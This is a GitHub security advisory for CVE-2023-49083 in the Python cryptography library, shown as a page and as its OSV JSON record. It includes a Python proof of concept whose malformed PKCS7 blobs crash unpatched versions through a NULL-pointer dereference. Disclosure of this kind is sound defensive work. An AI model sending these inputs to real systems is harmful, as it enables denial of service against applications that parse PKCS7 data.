GHSA-JFHM-5GHH-2F97

Vulnerability from github – Published: 2023-11-28 20:46 – Updated: 2025-11-04 16:48
VLAI?
Summary
cryptography vulnerable to NULL-dereference when loading PKCS7 certificates
Details

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

Severity ?
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "cryptography"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1"
            },
            {
              "fixed": "41.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49083"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-28T20:46:46Z",
    "nvd_published_at": "2023-11-29T19:15:07Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nCalling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.\n\n### PoC\nHere is a Python code that triggers the issue:\n```python\nfrom cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates\n\npem_p7 = b\"\"\"\n-----BEGIN PKCS7-----\nMAsGCSqGSIb3DQEHAg==\n-----END PKCS7-----\n\"\"\"\n\nder_p7 = b\"\\x30\\x0B\\x06\\x09\\x2A\\x86\\x48\\x86\\xF7\\x0D\\x01\\x07\\x02\"\n\nload_pem_pkcs7_certificates(pem_p7)\nload_der_pkcs7_certificates(der_p7)\n```\n\n### Impact\nExploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.",
  "id": "GHSA-jfhm-5ghh-2f97",
  "modified": "2025-11-04T16:48:52Z",
  "published": "2023-11-28T20:46:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49083"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/pull/9926"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/commit/f09c261ca10a31fe41b1262306db7f8f1da0e48a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyca/cryptography"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2023-254.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMNTYMUGFJSDBYBU22FUYBHFRZODRKXV"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/11/29/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "cryptography vulnerable to NULL-dereference when loading PKCS7 certificates"
}


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